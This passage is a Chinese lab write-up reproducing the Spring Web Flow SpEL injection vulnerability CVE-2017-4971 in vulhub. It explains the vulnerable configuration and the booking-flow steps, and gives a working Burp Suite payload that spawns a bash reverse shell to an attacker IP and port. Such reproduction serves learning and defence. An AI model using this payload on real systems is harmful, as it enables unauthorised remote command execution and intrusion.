栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

vulhub复现之Spring Web Flow漏洞(CVE-2017-4971)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

vulhub复现之Spring Web Flow漏洞(CVE-2017-4971)

目录

什么是Spring Web Flow?

漏洞产生原因? 

触发漏洞的条件

漏洞复现反弹shell


前言:

如果没有特别幸运,那就请特别努力!

2022.7.14今天的学习任务是介个漏洞打完然后反弹shell

郭师傅让我好好写文章要不然我就又要被批评啦!

什么是Spring Web Flow?

springwebflow是从spring framework中分离出来的一个开发模块,是spring模块栈中的一部分。spring wev flow的目标是成为管理web应用页面流程的最近方案。当你的应用需要复杂的导航控制,例如向导,在一个比较大的事务过程中去指导用户经过一连串的步骤的时候,SWF将会是一个功能强大的控制器。

Spring Web Flow构建于Spring MVC之上,允许实现Web应用程序的“流程”。 流程封装了一系列步骤,指导用户执行某些业务任务。 它跨越多个HTTP请求,具有状态,处理事务数据,可重用,并且可能是动态的,并且本质上是长期运行的。

适用于开发基于流程的应用程序框架。

漏洞产生原因? 

没有明确指定相关model的属性从而导致可以从表单提交表达式从而被执行导致了漏洞。

如果我们指定了数据的model那么他会自动进行数据绑定。那如果控制了数据绑定时候的filed参数(只有控制filed参数才能发出漏洞),将会导致一个spel表达式注入漏洞最终造成任意命令执行。

在订购这个酒店处它存在一个命令执行。调用了两个函数。一个是addDefultMappings这个函数直接控制filed的值。一个是addModelBindings是直接获取的一个java配置文件,由配置文件来确认是否有binder节点。有binder节点就无法触发漏洞。

触发漏洞的条件

由上我们知道了有这两个条件才能触发漏洞:

1.在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点
2.而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改
(如果默认值被修改则执行不了表达式)

漏洞复现反弹shell

先打开搭建好的页面

然后login

用左边给出的账号密码进行登录

随便选一个酒店

点击book hotel进去随便填好信息

 点击proceed进入下一个页面

 点击confirm然后用burpsuite抓包

 

在服务器上开启监听端口8001

 

 然后在burpsuite内写入如下命令反弹shell:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub

 

可以在服务器看到反弹shell成功!

 

 最后~

像这种订购酒店还有什么买票呀订购书呀这些过程就需要指导着我们用户一步一步的来有一个流程就用到了SWF!

暑期编程PK赛 得CSDN机械键盘等精美礼品!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1016548.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号